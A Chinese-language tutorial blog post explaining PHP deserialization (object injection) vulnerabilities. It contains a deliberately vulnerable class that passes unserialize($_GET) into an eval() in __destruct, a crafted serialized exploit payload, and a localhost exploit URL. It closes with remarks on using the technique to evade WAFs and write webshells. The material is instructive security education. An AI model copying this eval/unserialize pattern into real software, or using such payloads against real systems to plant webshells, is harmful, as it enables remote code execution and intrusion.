PHP反序列化漏洞Demo

不同地方写的反序列化都不大一样,通俗易懂的几句话就可以概括了,对象注入漏洞

场景:如果在淘宝买东西,浏览了一些商品,需求是这些商品逻辑关系不存到数据库中,而还要保存这些商品以便用户下次打开还会保持现在的状态,这时就可以把这个用户对象做序列化,然后以文件形式保存或存到数据库,为啥不直接存到数据库中,每个用户都要有自己的关系表,这样会变得更加复杂了,使用序列化可以直接保存对象状态,也方便其他程序调用。

反序列化要满足2个条件:
1.在类中使用魔术方法做了敏感的操作;
2.可控制反序列化参数值;

在java中写的POP链,POP链就是说 class A 调用 class B 方法,然后 class B 可能还调用了其他方法,在其他方法中可以控制反序列化参数,而在 class A中含有魔术方法引用了不安全的函数,这就是一个POP链,链就是程序的流程是环环相扣的。

用php写一段 反序列化演示代码:

<?php
class Testdemo {
var $var = '';
function __destruct() {
eval($this->var);
}
}
unserialize($_GET['cmd']);

__destruct()是Testdemo类的析构函数(魔术方法),就是在对象消失的时候会调用这个方法,看上面代码只要控制了 变量 var 的值就行了,实际过程中需要构造POP链达到条件去触发这个漏洞。

下面构造 exp 代码:

include 'testdemo.php'
$exp = new Testdemo();  
$exp->var = "phpinfo();";
echo serialize($exp);
#O:7:"Testdemo":1:{s:3:"var";s:10:"phpinfo();";}

对象在序列化时,可以控制 var变量,而在对象消失时就可以触发魔术方法了,这就是反序列化漏洞了。

上面反序列化的形态是这样存在的:

__PHP_Incomplete_Class Object
(
    [__PHP_Incomplete_Class_Name] => Testdemo
    [var] => phpinfo();
)

然后exp就是:http://127.0.0.1/testdemo.php?cmd=O:7:”Testdemo”:1:{s:3:”var”;s:10:”phpinfo();”;}

实际中反序列化漏洞感觉用于绕waf是一种不错的选择,这种漏洞waf查不到,又不能阻止反序列化数据传入,waf就比较纠结了;
使用反序列化间接写入webshell,因为不是每次写shell都会绕过waf,就需要这样的中间漏洞打配合蛮好的。

发表评论

电子邮件地址不会被公开。 必填项已用*标注